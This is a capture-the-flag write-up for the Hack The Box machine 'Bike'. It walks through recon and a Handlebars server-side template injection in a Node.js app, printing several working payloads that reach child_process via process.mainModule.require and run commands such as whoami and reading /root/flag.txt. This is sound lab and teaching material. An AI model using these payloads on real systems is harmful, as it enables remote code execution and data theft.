Bike Writeup

This box taught me A LOT about Node.JS and Server Side Template Injections (SSTI). It was fun creating a payload, determining why it did not work, and tweaking it until the desired end state is achieved. With that said, documentation is your friend! A lot of time was spent going through the Node.JS documentation to identify how a SSTI can be abused to get a RCE.


Initial Recon

Started off with the standard nmap scan.

┌──(crimson㉿crimson)-[~/HTB/Starting Point/Bike]
└─$ sudo nmap -sC -sV -oA nmap/initial -p- $tgt
[sudo] password for crimson: 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-20 21:44 CDT
Nmap scan report for 10.129.85.28
Host is up (0.047s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Node.js (Express middleware)
|_http-title:  Bike 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.34 seconds

There are only two ports open – SSH on 22 and HTTP on 80.

Initial Access

HTTP

Before I do anything with HTTP I like to start Burp Suite in the background to log the traffic. After doing that I navigated to the remote system’s IP. The landing page states that the website is under construction. If the user provides an email, they will be notified once the website is functional. Providing a bogus email shows that the input is reflected back to the user, as seen below.

After seeing my input being rendered on the webpage, I wondered if the input is properly sanitized. If not, there are a couple vulnerabilities I might be able to take advantage of such as a Cross Site Scripting (XSS) or Server Side Template Injection (SSTI) attack.

XSS

What is a XSS attack? It is a vulnerability where a user can provide a malicious script that the trusted website will then execute when viewed by a user. It is a way to trick the browser into running code that is not part of the trusted website’s source code. This attack can be used to steal sensitive information retained by a browser.

To test this web application, I used a XSS payload that would create an alert. However, it did not work.

SSTI

What is a SSTI attack? Some web applications use a template engine to generate a web page that contain dynamic information. If user input is directly concatenated into a template and not sanitized, this could led to an injection of arbitrary code. A very basic example of vulnerable code looks like the following:

$output = $twig->render("Dear " . $_GET['name']);

In this example, the template would take the value of the name= parameter in the GET request to display a particular message. So an attacker could take advantage of this code and get a SSTI via the name= parameter.

The first step is to detect if a SSTI vulnerability exists. To do this simply fuzz the template with special characters and see if the web application throws any errors. Inserting a polyglot (${{<%[%'"}}%\.) into the email= parameter in the POST request throws an error. And in the error message some information on what is being ran in the backend is revealed. The template engine being used is Handlebars.

A SSTI was discovered for Handlebars using the below payload. It returns the system environment variables for the application. The article explaining the SSTI can be found here- http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html.

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return JSON.stringify(process.env);"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

The specific line of code in the payload that retrieves the environment variables is seen below. With that said, this will need to be modified to achieve a RCE.

{{this.push "return JSON.stringify(process.env);"}}

To make life easier I used Burp Suite. In the Proxy tab I found the POST request with the initial polyglot payload and sent it to Repeater. Looking at the POST request shows the payload is URL encoded. So I took the Handlebars SSTI payload and URL encoded it.

To encode our payload the Decoder tab in Burp was used. Input the payload text, select encode as URL, and copy the encoded payload.

Simple paste the encoded data into the email= parameter and send it! Sure enough the environment variables are returned.

Doing a little Google search landed me on HackTrick’s website. On his page there is the following payload.

{{this.push "return require('child_process').exec('whoami');"}}

Let’s break down what this code is trying to do. Taken from the Node.JS documentation, “…the builtin require function is the easiest way to include modules that exist in separate files. The basic functionality of require is that it reads a JavaScript file, executes the file, and then proceeds to return the exports object”. The child_process module provides the ability for commands to be ran, among other functionality. So the require function loads the child_process module that then executes the command whoami. At least it should in theory.

But I get the error require is not defined. Googling shows that the require function is available by default in Node.js environments, but for some reason I can’t access that function.

After looking at other functions that should be available globally, I come across process. This function may lead to a RCE. According to the Node.JS documentation, “The process object provides information about, and control over, the current Node.js process”. With that knowledge I adjust the payload as seen below, URL encode it, insert into the email= parameter, and send it!

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process;"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

I get a 200 OK. Digging deeper it seems as though process.mainModule can be used to load the require function to then load the child_process module for command execution. Adjust the payload as follows, URL encode it, insert into the email= parameter, and send it!

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

I get a 200 OK. I use child_process to execute whoami as I intended in the initial payload seen on HackTricks’ website. Adjust the payload as follows, URL encode it, insert into the email= parameter, and send it!

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

I get a 200 OK and I am root. Now I can substitute whoami for any other command.

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}